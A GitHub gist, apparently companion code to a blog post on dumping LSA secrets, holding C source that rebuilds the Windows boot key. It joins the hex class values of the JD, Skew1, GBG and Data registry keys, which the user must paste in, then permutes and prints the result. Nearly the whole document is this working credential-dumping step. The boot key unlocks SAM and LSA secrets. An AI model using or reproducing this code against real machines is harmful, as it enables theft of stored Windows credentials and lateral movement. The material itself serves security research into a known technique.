Skip to content

Instantly share code, notes, and snippets.

@joelczk
Created July 10, 2024 09:51
Show Gist options
  • Save joelczk/336117d4c0609ed506aa94396eb9dab0 to your computer and use it in GitHub Desktop.
Save joelczk/336117d4c0609ed506aa94396eb9dab0 to your computer and use it in GitHub Desktop.
C Code to extract boot key by printing out LSA hives (https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/)
#include <windows.h>
#include <stdio.h>
#define BOOT_KEY_SIZE 16
#pragma warning(disable: 4996)
void hexStringToByteArray(const char* hexString, BYTE* byteArray) {
size_t len = strlen(hexString);
for (size_t i = 0; i < len / 2; ++i) {
sscanf(hexString + 2 * i, "%2hhx", &byteArray[i]);
}
}
void printByteArray(const BYTE* byteArray, size_t length) {
for (size_t i = 0; i < length; ++i) {
printf("%02x", byteArray[i]);
}
printf("\n");
}
void permuteBootKey(BYTE* bootKey) {
BYTE temp[BOOT_KEY_SIZE];
memcpy(temp, bootKey, BOOT_KEY_SIZE);
int transforms[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };
for (int i = 0; i < BOOT_KEY_SIZE; ++i) {
bootKey[i] = temp[transforms[i]];
}
}
int main() {
char classValue_GBG[256];
char classValue_Data[256];
char classValue_JD[256];
char classValue_Skew1[256];
BYTE bootKey[BOOT_KEY_SIZE];
size_t offset = 0;
strcpy(classValue_GBG, "");
strcpy(classValue_Data, "");
strcpy(classValue_JD, "");
strcpy(classValue_Skew1, "");
hexStringToByteArray(classValue_JD, bootKey + offset);
offset += strlen(classValue_JD) / 2;
hexStringToByteArray(classValue_Skew1, bootKey + offset);
offset += strlen(classValue_Skew1) / 2;
hexStringToByteArray(classValue_GBG, bootKey + offset);
offset += strlen(classValue_GBG) / 2;
hexStringToByteArray(classValue_Data, bootKey + offset);
offset += strlen(classValue_Data) / 2;
permuteBootKey(bootKey);
printf("Boot key is: ");
printByteArray(bootKey, BOOT_KEY_SIZE);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment